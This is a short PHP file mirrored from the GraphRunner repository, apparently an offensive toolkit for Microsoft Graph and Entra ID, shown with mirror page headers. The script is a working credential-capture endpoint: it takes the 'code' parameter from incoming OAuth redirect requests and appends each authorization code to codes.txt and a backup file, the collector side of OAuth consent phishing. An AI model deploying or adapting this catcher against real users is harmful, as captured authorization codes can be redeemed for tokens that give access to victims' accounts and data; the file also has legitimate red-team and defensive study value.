mirror of
https://github.com/dafthack/GraphRunner
synced 2026-06-08 13:44:02 +00:00
16 lines
398 B
PHP
16 lines
398 B
PHP
<?php
|
|
$requestUrl = $_SERVER['REQUEST_URI'];
|
|
$file = 'codes.txt';
|
|
$bakfile = 'codes-bak.txt';
|
|
$fp = fopen($file, 'a');
|
|
$fp2 = fopen($bakfile, 'a');
|
|
$trim = trim($requestUrl, "/?code=");
|
|
$oauthCode = strtok($trim, "&");
|
|
fwrite($fp, "OAuth Code:\n");
|
|
fwrite($fp, $oauthCode . "\n\n\n");
|
|
fclose($fp);
|
|
fwrite($fp2, "OAuth Code:\n");
|
|
fwrite($fp2, $oauthCode . "\n\n\n");
|
|
fclose($fp2);
|
|
?>
|